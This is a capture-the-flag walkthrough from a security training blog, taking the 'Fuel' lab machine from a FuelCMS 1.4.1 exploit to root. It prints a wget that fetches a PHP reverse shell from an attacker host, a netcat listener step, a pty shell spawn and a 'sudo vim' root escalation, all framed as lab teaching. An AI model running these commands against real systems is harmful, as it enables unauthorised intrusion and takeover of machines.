• Home
  • Hacking & Security
    • Network Hacking
    • Web Hacking
    • Social Engineering
    • Kali Linux
    Submit An Article
  • Courses
    • All Courses
    • Bundles
    • Masterclass
    • VIP Membership
    • FAQ

    Popular Courses

  • Shop
    • Hardware Bundles
    • Wireless Adapters
    • Pentesting Tools
    • Security
    • Accessories
    • Clothing
    • Books
    • All
  • Competition
  • Services
    Penetration Testing
    Consulting
    Code Review
    One on one Training
    Online Courses
    VPN
  • Blog
      • Cart

    VIP Membership Masterclass
    Got a question?
    [email protected]
    RegisterLogin
    zSecurity
    • Home
    • Hacking & Security
      • Network Hacking
      • Web Hacking
      • Social Engineering
      • Kali Linux
      Submit An Article
    • Courses
      • All Courses
      • Bundles
      • Masterclass
      • VIP Membership
      • FAQ

      Popular Courses

    • Shop
      • Hardware Bundles
      • Wireless Adapters
      • Pentesting Tools
      • Security
      • Accessories
      • Clothing
      • Books
      • All
    • Competition
    • Services
      Penetration Testing
      Consulting
      Code Review
      One on one Training
      Online Courses
      VPN
    • Blog
        • Cart

      CTF

      zSecurity – Fuel CTF Walkthrough

      • Posted by Dimitris Kalopisis
      • Date January 24, 2021

      Hey guys,

      This is a complete walkthrough for the Fuel CTF competition we ran here at zSecurity. You can access this CTF and even download this walk through from the competitions page.

      Difficulty: Medium

      Skills Required:

      • Googling Skills
      • Enumeration of Services
      • Basic Linux Enumeration

      Skills Learned:

      • Use of MySQL
      • Privilege escalation using Vim

      Enumeration

      Nmap

      Nmap reveals OpenSSH and Apache httpd.

      Now let’s try to access the webpage and see if we can find anything interesting over there.

      Exploitation

      When we go ahead and access the page that is being hosted on the server we can see if we scroll to the very bottom that it was made using FuelCMS 1.4.1

      We can guess that to access the fuelcms page we have to add /fuelcms on our url to view it.

      After doing a little bit of research online you should see an exploit on ExploitDB that can be used against FuelCMS 1.4.1.

      This exploit requires Burpsuite to be running so we will just open it and leave it running.

      You should edit the exploit file and make it look like the picture above for it to work.

      Do not forget to add index.php. The attack will not work if you do not add it.

      Now that we have our exploit up and running, we can upload a php reverse shell script found on the kali machine, to gain initial access to the machine.

      Editing a simple script and starting a simple HTTP server using “python -m SimpleHTTPServer” we can get your script to the target machine using wget.

      We will use the bellow wget command:

      wget http://ATTACKER-IP:8000/shell.php

      And finally, we will start a netcat listener on port 4444 and execute the script.

      And now we got initial access to the machine.

      Before we start with privilege escalation, we want to spawn an interactive shell using python with the command:

      python3 -c ‘import pty;pty.spawn(“/bin/bash”)’

      Privilege Escalation

      Now that we have access to the target machine let’s try to get a higher privilege on the system to get the root flag stored under the /root directory.

      Just like we uploaded our shell on the target machine we will also upload a Linux Enumeration program called LinPeas and we will scan the Linux machine, and it will output anything that it thinks will be useful to us.

      After running the script, we can see that it mentioned that there is something interesting with MySQL.

      So if we attempt to access the MySQL database as the www-data user we can see that we have access on the database and we can see the FuelCMS database as well.
      LinPeas

      We can navigate on the database and eventually see the users which include the admin and the user John with a Base64 Encoded password.

      If we decode the hashed password, we will get the plain text password which is: fsociety

      With this information in hand, we can become the john user using su john

      Now that we are user John before we do any more enumeration on the machine to find potential ways to escalate our privileges.

      We can check the permissions that our user has with the command:

      sudo -l

      We can see that we can run the vim command as root. So, knowing this information we can head on a site called GTFOBins and search for the vim command and this will give us ways that we can exploit this privilege and become root.

      For example on the site we can see that we can get a shell using the command:

      sudo vim -c ‘:!/bin/sh’

      Now let’s try to run this on our target machine.

      GTFOBins

      And as expected, we get a root shell.

      Now we can head on the /root directory and then we can view the contents of the root.txt flag

       

      Resources:

      • zSecurity Competitions.
      • LinePEAS.
      • GTFOBins.
      • Share:
      Dimitris Kalopisis
      Dimitris Kalopisis

      Hi There!

      My name is Dimitris Kalopisis and I am an Ethical Hacker, OSCP holder, and teaching assistant at zSecurity.

      My passion for teaching started when I created my first Cyber Security-related Youtube channel which received a lot of positive feedback.

      I can help you with your OSCP journey as I have a hands-on approach and know what’s important.

      I am sure that with my help you should have no problems cracking the OSCP.

      Previous post

      Enhance WPA & WPA2 Cracking With OSINT + HashCat!
      January 24, 2021

      Next post

      The Hacker Methodology
      January 26, 2021

      You may also like

      vZbKlz7zSW4-HD_370x208
      Olympus CTF TryHackMe Walkthrough
      9 August, 2022
      Zsec Post (3) (1)
      b3dr0ck – TryHackMe Walkthrough
      16 June, 2022
      maxresdefault
      Solving CTFs With Sn1per
      1 January, 2022

        4 Comments

      1. Hussein Muhaisen
        January 25, 2021
        Log in to Reply

        This is really detailed and Nice ! I love it

        • Dimitris Kalopisis
          Dimitris Kalopisis
          January 25, 2021
          Log in to Reply

          Thanks a lot!

          • Akash Yadav
            January 25, 2021
            Log in to Reply

            Really nice it…
            We appreciate your work
            Request,
            Please sir make a video on this topic

            • Dimitris Kalopisis
              Dimitris Kalopisis
              January 26, 2021
              Log in to Reply

              Thank you for your kind words. I am looking forward to uploading a video walkthrough on my new Youtube channel. I will make sure to inform you when I upload it!

      Leave A Reply Cancel reply

      You must be logged in to post a comment.

      Categories

      • Cryptography
      • Cryptography
      • CTF
      • Forensics
      • Hacking & Security
      • Hardware
      • IOT
      • Kali Linux
      • Network Hacking
      • News
      • OSINT
      • Post Exploitation
      • Post Exploitation
      • Privacy
      • Programming
      • Security
      • Social Engineering
      • Uncategorized
      • Web Hacking

      Popular Posts

      Got a Blank Screen After Importing Kali in Virtual Box ? Here’s How To Fix It
      25Jan2018

      Connect with us

      • Facebook
      • Twitter
      • LinkedIn
      • Instagram
      • Youtube

      “Everything related to ethical hacking

      & cyber security in one place.”

      Quick Links

      • Home
      • About Us
      • Hacking & Security
      • Download Custom Kali
      • Contact
      • FAQ

      Services

      • Penetration Testing
      • Consulting
      • Code Review
      • One on one training
      • VPN
      • VIP Membership

      Company

      • About Us
      • Contact
      • Vulnerability Disclosure

      Support

      • FAQ
      • Forums

      Copyright © 2022 Z IT SECURITY LTD t/a zSecurity. All rights reserved.

      • Privacy
      • Shipping
      • Refunds
      • Terms

      Contribute

      Share your knowledge with the world

      SUBMIT AN ARTICLE

      Login with your site account

      Lost your password?

      Not a member yet? Register now

      Register a new account


      Are you a member? Login now

      Enroll in this course to access this lesson!

      All of our courses include:

      ✔ Lifetime, unlimited access to course materials & training videos.

      ✔ Watch online or download lectures for offline use.

      ✔ Verifiable certificate of completion from zSecurity, signed by the course instructor, Zaid.

      ✔ Get answers from our Support Team within a maximum of 15 hours.

      ✔ Unlimited Updates.

      Get free 1 month VIP membership per course with:

      ✔ Live mentorship and Q&A session with the course instructor, Zaid.

      ✔ Instant support from community members through our private discord channel.

      ✔ Daily updates with the latest tutorials & news in the hacking world.

      ✔ Daily resources like CTFs, bug bounty programs, onion services and more!

      ✔ Access our VIP community & connect with like-minded people.

      ✔ Discounts on other zSecurity products and services.

      We are using cookies to give you the best experience on our website. This includes but is not limited to:

      • Storing your settings and preferences.
      • Remember your access information
      • Track website performance and make our website more relevant to you.

      You can find out more about which cookies we are using or switch them off in settings.

      Privacy Overview

      This website uses cookies so that we can provide you with the best user experience possible. Cookie information is stored in your browser and performs functions such as recognising you when you return to our website and helping our team to understand which sections of the website you find most interesting and useful.

      Strictly Necessary Cookies

      Strictly Necessary Cookie should be enabled at all times so that we can save your preferences for cookie settings.

      3rd Party Cookies

      This website uses Google Analytics and Linkedin to collect anonymous information such as the number of visitors to the site, and the most popular pages.

      Keeping this cookies enabled helps us to improve our website.

      Please enable Strictly Necessary Cookies first so that we can save your preferences!

      Powered by  GDPR Cookie Compliance